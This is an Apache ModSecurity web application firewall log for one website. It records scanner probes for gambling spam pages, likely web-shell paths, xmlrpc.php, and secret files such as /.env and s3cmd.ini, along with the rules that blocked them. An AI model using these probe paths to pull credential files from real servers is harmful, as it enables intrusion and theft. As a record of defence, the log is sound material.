[Tue May 19 19:10:53.627408 2026] [:error] [pid 38699:tid 38765] [client 51.83.7.81:52278] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "agxFPb--Adsw_P-dthaahgAAAFc"]
[Tue May 19 19:10:55.698612 2026] [:error] [pid 38814:tid 38834] [client 51.83.7.81:52280] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "agxFPwvkKuBwP0epzWeanAAAANI"]
[Tue May 19 19:10:57.706599 2026] [:error] [pid 29823:tid 29838] [client 51.83.7.81:52286] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "agxFQWO09C0nAz8vRk42mwAAAcM"]
[Tue May 19 19:10:59.720055 2026] [:error] [pid 46896:tid 46916] [client 51.83.7.81:52288] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "agxFQ6CHyzL3Ci9LGE1fewAAAZI"]
[Tue May 19 19:11:01.593041 2026] [:error] [pid 46896:tid 46905] [client 51.83.7.81:52292] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "agxFRaCHyzL3Ci9LGE1ffAAAAYc"]
[Tue May 19 19:11:03.621219 2026] [:error] [pid 38814:tid 38838] [client 51.83.7.81:57730] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "agxFRwvkKuBwP0epzWeanwAAANY"]
[Tue May 19 19:11:05.637860 2026] [:error] [pid 38697:tid 38725] [client 51.83.7.81:57738] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "agxFSaXP9pP6Kgt-msRHUAAAAAo"]
[Tue May 19 19:11:07.526739 2026] [:error] [pid 46815:tid 46837] [client 51.83.7.81:57754] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "agxFSyPnRhJOmA06LgpubAAAAVQ"]
[Tue May 19 19:11:09.540652 2026] [:error] [pid 46815:tid 46826] [client 51.83.7.81:57768] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "agxFTSPnRhJOmA06LgpubQAAAUk"]
[Tue May 19 19:11:11.423753 2026] [:error] [pid 29823:tid 29854] [client 51.83.7.81:57774] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "agxFT2O09C0nAz8vRk42oAAAAc8"]
[Tue May 19 19:11:13.434614 2026] [:error] [pid 29823:tid 29863] [client 51.83.7.81:35438] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "agxFUWO09C0nAz8vRk42pAAAAdg"]
[Tue May 19 19:11:15.456157 2026] [:error] [pid 29823:tid 29848] [client 51.83.7.81:35454] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "agxFU2O09C0nAz8vRk42pgAAAck"]
[Tue May 19 19:11:17.335690 2026] [:error] [pid 38814:tid 38839] [client 51.83.7.81:35458] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "agxFVQvkKuBwP0epzWeaogAAANc"]
[Tue May 19 19:11:19.348201 2026] [:error] [pid 29823:tid 29856] [client 51.83.7.81:35462] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "agxFV2O09C0nAz8vRk42rAAAAdE"]
[Tue May 19 19:11:21.374208 2026] [:error] [pid 41573:tid 41584] [client 51.83.7.81:35470] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "agxFWS1A2bd6JDSW9RaECwAAAQk"]
[Tue May 19 19:11:23.245624 2026] [:error] [pid 38697:tid 38723] [client 51.83.7.81:45750] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "agxFW6XP9pP6Kgt-msRHVgAAAAg"]
[Tue May 19 19:11:25.262332 2026] [:error] [pid 29823:tid 29854] [client 51.83.7.81:45764] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "agxFXWO09C0nAz8vRk42rwAAAc8"]
[Tue May 19 19:11:27.142812 2026] [:error] [pid 29823:tid 29858] [client 51.83.7.81:45780] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "agxFX2O09C0nAz8vRk42swAAAdM"]
[Tue May 19 19:11:29.148739 2026] [:error] [pid 29823:tid 29839] [client 51.83.7.81:45788] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agxFYWO09C0nAz8vRk42twAAAcQ"]
[Tue May 19 19:11:31.189755 2026] [:error] [pid 29823:tid 29838] [client 51.83.7.81:45790] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agxFY2O09C0nAz8vRk42ugAAAcM"]
[Tue May 19 19:11:33.052845 2026] [:error] [pid 41573:tid 41594] [client 51.83.7.81:36242] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "agxFZS1A2bd6JDSW9RaEDwAAARM"]
[Tue May 19 19:11:35.086309 2026] [:error] [pid 41573:tid 41599] [client 51.83.7.81:36256] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "agxFZy1A2bd6JDSW9RaEEAAAARg"]
[Tue May 19 19:11:36.966201 2026] [:error] [pid 41573:tid 41579] [client 51.83.7.81:36268] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "agxFaC1A2bd6JDSW9RaEFQAAAQQ"]
[Tue May 19 19:11:38.981019 2026] [:error] [pid 38697:tid 38737] [client 51.83.7.81:36270] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "agxFaqXP9pP6Kgt-msRHaAAAABY"]
[Tue May 19 19:11:41.007690 2026] [:error] [pid 38699:tid 38760] [client 51.83.7.81:36282] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "agxFbb--Adsw_P-dthaajwAAAFI"]
[Tue May 19 19:11:42.883698 2026] [:error] [pid 38699:tid 38751] [client 51.83.7.81:52188] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "agxFbr--Adsw_P-dthaakQAAAEk"]
[Tue May 19 19:11:44.900317 2026] [:error] [pid 46896:tid 46907] [client 51.83.7.81:52204] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "agxFcKCHyzL3Ci9LGE1ffwAAAYk"]
[Tue May 19 19:11:46.804520 2026] [:error] [pid 38699:tid 38752] [client 51.83.7.81:52210] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "agxFcr--Adsw_P-dthaakgAAAEo"]
[Tue May 19 21:14:08.257150 2026] [:error] [pid 55881:tid 55905] [client 43.159.63.116:38474] [client 43.159.63.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agxiIO-UExma0LUC7WAHzwAAAlY"]
[Tue May 19 22:03:24.930761 2026] [:error] [pid 38699:tid 38760] [client 43.130.72.40:33248] [client 43.130.72.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agxtrL--Adsw_P-dthatHgAAAFI"]
[Tue May 19 22:41:46.112185 2026] [:error] [pid 46815:tid 46836] [client 185.93.89.16:59900] [client 185.93.89.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "agx2qiPnRhJOmA06Lgp_WgAAAVM"]
[Tue May 19 23:45:10.782401 2026] [:error] [pid 29823:tid 29851] [client 91.78.121.50:8307] [client 91.78.121.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.78.121.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agyFhmO09C0nAz8vRk5j7QAAAcw"]
[Tue May 19 23:45:20.897600 2026] [:error] [pid 38699:tid 38760] [client 91.78.121.50:47621] [client 91.78.121.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.78.121.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agyFkL--Adsw_P-dtha8NAAAAFI"]
[Tue May 19 23:45:34.433014 2026] [:error] [pid 29823:tid 29855] [client 91.78.121.50:24091] [client 91.78.121.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.78.121.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agyFnmO09C0nAz8vRk5j9AAAAdA"]
[Tue May 19 23:45:41.951660 2026] [:error] [pid 38699:tid 38746] [client 91.78.121.50:40456] [client 91.78.121.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.78.121.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agyFpb--Adsw_P-dtha8SAAAAEQ"]
[Tue May 19 23:45:53.510791 2026] [:error] [pid 55881:tid 55887] [client 91.78.121.50:62012] [client 91.78.121.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.78.121.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agyFse-UExma0LUC7WAS8QAAAkQ"]
[Wed May 20 00:52:08.630576 2026] [:error] [pid 29823:tid 29838] [client 139.155.134.17:43366] [client 139.155.134.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agyVOGO09C0nAz8vRk5qqgAAAcM"]
[Wed May 20 00:57:31.327654 2026] [:error] [pid 38697:tid 38718] [client 217.181.91.172:27619] [client 217.181.91.172] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gigfragments.org|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gigfragments.org"] [uri "/s3cmd.ini"] [unique_id "agyWe6XP9pP6Kgt-msRqrAAAAAM"]
[Wed May 20 03:19:40.704727 2026] [:error] [pid 38697:tid 38715] [client 34.234.100.56:55341] [client 34.234.100.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agy3zKXP9pP6Kgt-msR4kwAAAAA"]
[Wed May 20 04:31:32.385631 2026] [:error] [pid 36145:tid 36152] [client 20.104.227.76:15206] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "agzIpKtS18KtvF2VagsrjgAAAQQ"]
[Wed May 20 04:31:32.936527 2026] [:error] [pid 59349:tid 59370] [client 20.104.227.76:15198] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "agzIpDvvxTUy-ppKSZV8SQAAANM"]
[Wed May 20 04:31:33.397352 2026] [:error] [pid 59349:tid 59375] [client 20.104.227.76:15134] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "agzIpTvvxTUy-ppKSZV8TgAAANg"]
[Wed May 20 04:31:33.998770 2026] [:error] [pid 59349:tid 59368] [client 20.104.227.76:15216] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "agzIpTvvxTUy-ppKSZV8UgAAANE"]
[Wed May 20 04:31:34.475889 2026] [:error] [pid 59349:tid 59357] [client 20.104.227.76:15112] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "agzIpjvvxTUy-ppKSZV8VAAAAMY"]
[Wed May 20 04:31:35.011386 2026] [:error] [pid 59349:tid 59365] [client 20.104.227.76:15124] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "agzIpzvvxTUy-ppKSZV8VwAAAM4"]
[Wed May 20 04:31:35.632298 2026] [:error] [pid 59244:tid 59269] [client 20.104.227.76:15195] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "agzIp7xU0SdQQE7pLs2sIgAAABA"]
[Wed May 20 04:31:36.058747 2026] [:error] [pid 59244:tid 59259] [client 20.104.227.76:15110] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "agzIqLxU0SdQQE7pLs2sIwAAAAY"]
[Wed May 20 04:31:37.496183 2026] [:error] [pid 59244:tid 59254] [client 20.104.227.76:15116] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "agzIqbxU0SdQQE7pLs2sJwAAAAE"]
[Wed May 20 04:31:37.924489 2026] [:error] [pid 59244:tid 59277] [client 20.104.227.76:15169] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "agzIqbxU0SdQQE7pLs2sKAAAABg"]
[Wed May 20 04:31:38.410677 2026] [:error] [pid 59244:tid 59274] [client 20.104.227.76:15115] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "agzIqrxU0SdQQE7pLs2sKQAAABU"]
[Wed May 20 04:31:38.893952 2026] [:error] [pid 59244:tid 59275] [client 20.104.227.76:15231] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "agzIqrxU0SdQQE7pLs2sKgAAABY"]
[Wed May 20 04:31:39.464283 2026] [:error] [pid 59245:tid 59285] [client 20.104.227.76:14452] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "agzIq6OutR70QIZRVkTMUQAAAEU"]
[Wed May 20 04:31:39.890164 2026] [:error] [pid 59349:tid 59352] [client 20.104.227.76:15144] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "agzIqzvvxTUy-ppKSZV8WwAAAME"]
[Wed May 20 04:31:40.416953 2026] [:error] [pid 59349:tid 59371] [client 20.104.227.76:15139] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "agzIrDvvxTUy-ppKSZV8XQAAANQ"]
[Wed May 20 04:31:40.882705 2026] [:error] [pid 59349:tid 59364] [client 20.104.227.76:15141] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "agzIrDvvxTUy-ppKSZV8XgAAAM0"]
